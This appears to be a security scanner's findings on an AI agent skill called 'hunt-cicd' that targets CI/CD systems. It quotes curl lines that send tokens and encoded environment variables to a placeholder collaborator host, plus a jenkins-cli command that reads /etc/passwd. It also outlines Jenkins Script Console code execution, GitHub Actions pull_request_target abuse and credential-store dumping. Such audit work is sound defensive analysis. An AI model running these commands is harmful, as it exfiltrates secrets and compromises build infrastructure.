The Agent Skills Directory

[DATA_EXFILTRATION]: The skill provides explicit instructions and shell payloads to exfiltrate sensitive environment variables and tokens (such as GITHUB_TOKEN) to external collaborator subdomains.
Evidence includes payloads like curl "https://x.<COLLAB>/?t=$T" and curl -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)".
[REMOTE_CODE_EXECUTION]: The instructions guide the agent to perform RCE through several vectors, including the Jenkins Script Console and poisoned GitHub Actions runners.
Detailed instructions for POSTing Groovy scripts to /scriptText to execute system commands.
Guidance on leveraging pull_request_target misconfigurations to execute attacker-controlled code within privileged CI runners.
[COMMAND_EXECUTION]: The skill relies extensively on executing shell commands to perform reconnaissance, interface with GitHub/GitLab APIs, and run exploitation tools.
Usage of curl, gh api, aws cli, docker history, and java -jar for interacting with target infrastructure.
[CREDENTIALS_UNSAFE]: The skill contains logic to discover and extract sensitive credentials from multiple sources.
Instructions for dumping the Jenkins credential store via Groovy scripts.
Automated patterns for searching Terraform state files for password, secret, private_key, and access_key using jq.
Scanning GitHub Actions logs and artifacts for secrets like AWS keys (AKIA...) and GitHub tokens (ghp_...).
[REMOTE_CODE_EXECUTION]: The skill instructs the agent to download and execute an external JAR file from a target server to perform arbitrary file reads and potential privilege escalation.
Pattern: java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"

hunt-cicd